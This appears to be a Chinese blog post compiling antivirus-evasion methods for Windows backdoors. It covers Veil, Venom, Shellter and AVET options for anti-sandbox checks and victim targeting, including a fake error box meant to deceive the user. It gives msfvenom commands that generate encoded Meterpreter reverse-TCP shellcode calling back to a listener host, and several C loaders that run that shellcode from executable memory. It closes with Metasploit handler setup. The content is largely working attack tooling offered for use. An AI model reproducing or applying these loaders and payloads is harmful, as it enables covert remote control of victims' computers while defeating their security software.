免杀知识汇总

利用工具实现免杀

一,veil工具基础实现免杀+进阶

①启动方法

①cd /opt
② ls
③veil(运行veil即可)

使用方法
如 生成go语言的免杀马

use 16
set lhost ip
set lport 端口
generate#(执行即可)

②结合cs进行免杀
实操(生成go语言的免杀马)
①cs使用生成一个go语言类型的payload
②use 17
③需要的设置变量类(具体参数设置的含义)

BADMACS 设置为Y表示 查看运行环境的MAC地址如果不是虚拟机才会执行payload (反调试)
CLICKTRACK 设置为4表示 表示需要4次点击才会执行
CURSORCHECK 设置为100表示 运行环境的硬盘大小如果大于100GB才会执行payload (反沙箱)
COMPILE_TO_EXE 设置为Y表示 编译为exe文件
HOSTNAME 设置为Comp1表示 只有在Hostname计算机名为Comp1时才会执行payload(指定目标环境 反沙箱的方式)
INJECT_METHOD 可设置为Virtual 或 Heap
MINPROCS 设置为20表示 只有运行环境的运行进程数大于20时才会执行payload(指定目标环境 反沙箱的方式)
PROCCHECK 设置为Y表示 只有运行环境的进程中没有虚拟机进程时才会执行payload(指定目标环境 反沙箱的方式)
PROCESSORS 设置为2表示 只在至少2核的机器中才会执行payload(指定目标环境 反沙箱的方式)
RAMCHECK 设置为Y表示 只在运行环境的内存为3G以上时才会执行payload(指定目标环境 反沙箱的方式)
SLEEP 设置为10表示 休眠10秒 以检测是否运行过程中被加速(反沙箱)
USERNAME 设置为Tom表示 只有在当前用户名为Tom的机器中才执行payload。
USERPROMPT 设置为Y表示 在injection之前提醒用户(提示一个错误框,让用户误以为该程序执行错误才无法打开)
DEBUGGER 设置为Y表示 当被调试器不被attached时才会执行payload (反调试)
DOMAIN 设置为Comp表示 受害者计算机只有加入Comp域中时,才会执行payload(指定目标环境 反沙箱的方式)
UTCCHECK 设置为Y表示 只在运行环境的系统使用UTC时间时,才会执行payload

④设置

set USERNAME lll#前三个均表示在该特定的情况下执行这个木马
set HOSTNAME win7
set UTCcheck TRUE
set UTCcheck TRUE
generate#(即代表设置完成的含义状况特点)

⑤然后选择3,即自定义字符串的含义
输入cs生成的字符串即可
⑥设置名字
即可完成组合拳
③结合mingw-w64
即利用mingw-w64进行编译

gcc -o c.exe c.c -l ws2_32#即过滤掉该命令的状况思路

二,venom免杀

打开方法

./venom.sh

windows下的基础免杀
命令步骤

2
4
#输入ip,输入端口
#选择常规的
windows/meterperter/reverse_tcp
#输入文件名
#后面均选默认即可

三,利用kali自带的shellter进行免杀
基础生成命令

①选择A#(即自动模式)
②选择注入的程序
③选择是否要用隐身模式(建议不使用,免杀效果会变差)
④选择自定义字符还是自动字符
⑤选择模块#一般是选择1模块
⑥设置ip,设置端口

监听方法

handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp(监听方法)

四,利用avet实现免杀

运行

#进入其的目录
#然后 python 其py程序即可

一般是直接选择2生成一个payload

利用源码编译+加载器加载代码实现免杀

方式一
cs+c语言代码组合拳
在这篇文章提过了

方式二,msf+c语言源代码
思路和cs实现免杀的思路差不多,利用编译进行绕过实现的
①首先现在msf中生成shellcode
c语言代码1

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333  -f c -o shell.c

②在c语言代码的buf[]=中添加该shell然后进行编译即可

unsigned char buf[] = 

"shellcode";

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口

main()

{
    
    

    ( (void(*)(void))&buf)();

}

c语言代码2
免杀生成出现问题

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口

unsigned char buf[] = 
"shellcode";


main()

{
    
    
    char *Memory; 

    Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    memcpy(Memory, buf, sizeof(buf));

    ((void(*)())Memory)();

}

c语言代码3

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="";

void main()
{
    
    

        __asm
    {
    
    

        mov eax, offset shellcode
        jmp eax

    }
}

c语言代码4

#include <windows.h>
#include <stdio.h>

unsigned char buf[] ="";

void main()
{
    
    
   ((void(WINAPI*)(void))&buf)();
}

c语言代码5(汇编花指令)
注意:生成的exe文件需要环境中有几个.dll文件才可运行

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="";

void main()
{
    
    
        __asm
    {
    
    

        mov eax, offset shellcode
        _emit 0xFF  
        _emit 0xE0

    }
}

c语言代码6
base4.c代码

/* Base64 encoder/decoder. Originally Apache file ap_base64.c
*/

#include <string.h>

#include "base64.h"

/* aaaack but it's fast and const should make it shared text page. */
static const unsigned char pr2six[256] =
{
    
    
    /* ASCII table */
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63,
    52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 64, 64, 64, 64, 64, 64,
    64,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
    15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64,
    64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
    41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64
};

int Base64decode_len(const char *bufcoded)
{
    
    
    int nbytesdecoded;
    register const unsigned char *bufin;
    register int nprbytes;

    bufin = (const unsigned char *)bufcoded;
    while (pr2six[*(bufin++)] <= 63);

    nprbytes = (bufin - (const unsigned char *)bufcoded) - 1;
    nbytesdecoded = ((nprbytes + 3) / 4) * 3;

    return nbytesdecoded + 1;
}

int Base64decode(char *bufplain, const char *bufcoded)
{
    
    
    int nbytesdecoded;
    register const unsigned char *bufin;
    register unsigned char *bufout;
    register int nprbytes;

    bufin = (const unsigned char *)bufcoded;
    while (pr2six[*(bufin++)] <= 63);
    nprbytes = (bufin - (const unsigned char *)bufcoded) - 1;
    nbytesdecoded = ((nprbytes + 3) / 4) * 3;

    bufout = (unsigned char *)bufplain;
    bufin = (const unsigned char *)bufcoded;

    while (nprbytes > 4) {
    
    
        *(bufout++) =
            (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
        *(bufout++) =
            (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
        *(bufout++) =
            (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
        bufin += 4;
        nprbytes -= 4;
    }

    /* Note: (nprbytes == 1) would be an error, so just ingore that case */
    if (nprbytes > 1) {
    
    
        *(bufout++) =
            (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
    }
    if (nprbytes > 2) {
    
    
        *(bufout++) =
            (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
    }
    if (nprbytes > 3) {
    
    
        *(bufout++) =
            (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
    }

    *(bufout++) = '\0';
    nbytesdecoded -= (4 - nprbytes) & 3;
    return nbytesdecoded;
}

static const char basis_64[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

int Base64encode_len(int len)
{
    
    
    return ((len + 2) / 3 * 4) + 1;
}

int Base64encode(char *encoded, const char *string, int len)
{
    
    
    int i;
    char *p;

    p = encoded;
    for (i = 0; i < len - 2; i += 3) {
    
    
        *p++ = basis_64[(string[i] >> 2) & 0x3F];
        *p++ = basis_64[((string[i] & 0x3) << 4) |
            ((int)(string[i + 1] & 0xF0) >> 4)];
        *p++ = basis_64[((string[i + 1] & 0xF) << 2) |
            ((int)(string[i + 2] & 0xC0) >> 6)];
        *p++ = basis_64[string[i + 2] & 0x3F];
    }
    if (i < len) {
    
    
        *p++ = basis_64[(string[i] >> 2) & 0x3F];
        if (i == (len - 1)) {
    
    
            *p++ = basis_64[((string[i] & 0x3) << 4)];
            //    *p++ = '=';
        }
        else {
    
    
            *p++ = basis_64[((string[i] & 0x3) << 4) |
                ((int)(string[i + 1] & 0xF0) >> 4)];
            *p++ = basis_64[((string[i + 1] & 0xF) << 2)];
        }
        //*p++ = '=';
    }

    *p++ = '\0';
    return p - encoded;
}

base64.h代码


#ifndef _BASE64_H_
#define _BASE64_H_

#ifdef __cplusplus
extern "C" {
    
    
#endif

    int Base64encode_len(int len);
    int Base64encode(char * coded_dst, const char *plain_src, int len_plain_src);

    int Base64decode_len(const char * coded_src);
    int Base64decode(char * plain_dst, const char *coded_src);

#ifdef __cplusplus
}
#endif

#endif //_BASE64_H_
shellcode.c

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#include "base64.h"

unsigned char buf[] =
"msf base64 code here";

int main(int argc, const char * argv[]) {
    
    


    char str1[1000] = {
    
     0 };
    Base64decode(str1, buf);

    //printf("%d  ", sizeof(str3));
    char *Memory;
    Memory = VirtualAlloc(NULL, sizeof(str1), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, str1, sizeof(str1));
    ((void(*)())Memory)();
    return 0;
}

msf生成base64的shellcode

msfvenom -p  windows/meterpreter/reverse_tcp --encrypt base64  lhost=10.211.55.2 lport=3333  -f c > shell.c

gcc编码

gcc shellcode.c base64.c -o test.exe

③进行监听

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.211.55.2
set LPORT 3333
set EnableStageEncoding true

加载器方法

1.使用shellcode_launcher

①生成raw格式的shellcode

 msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333  -f raw -o shellcode.raw


shellcode_launcher执行产生exe文件

shellcode_launcher.exe -i shellcode.raw

详细参考教程
思维导图
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_33942040/article/details/108469094
今日推荐